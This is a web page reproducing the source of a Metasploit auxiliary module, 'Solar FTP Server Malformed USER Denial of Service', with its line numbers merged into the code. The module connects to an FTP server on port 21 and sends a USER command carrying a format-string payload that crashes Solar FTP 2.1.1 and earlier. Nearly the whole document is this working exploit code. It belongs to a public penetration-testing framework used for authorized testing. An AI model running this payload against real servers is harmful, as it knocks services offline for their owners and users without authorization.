Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
Views: 11789
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info={})10super(update_info(info,11'Name' => 'Solar FTP Server Malformed USER Denial of Service',12'Description' => %q{13This module will send a format string as USER to Solar FTP, causing a14READ violation in function "__output_1()" found in "sfsservice.exe"15while trying to calculate the length of the string. This vulnerability16affects versions 2.1.1 and earlier.17},18'Author' =>19[20'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit21'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission22'sinn3r', # Metasploit edit/commit23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'EDB', '16204' ],28],29'DisclosureDate' => '2011-02-22'))3031register_options(32[33Opt::RPORT(21)34])35end3637def run38connect3940banner = sock.get_once(-1, 10) || ''41print_status("Banner: #{banner.strip}")4243buf = Rex::Text.pattern_create(50)44buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"45print_status("Sending format string...")46sock.put("USER #{buf}\r\n")4748disconnect49end50end515253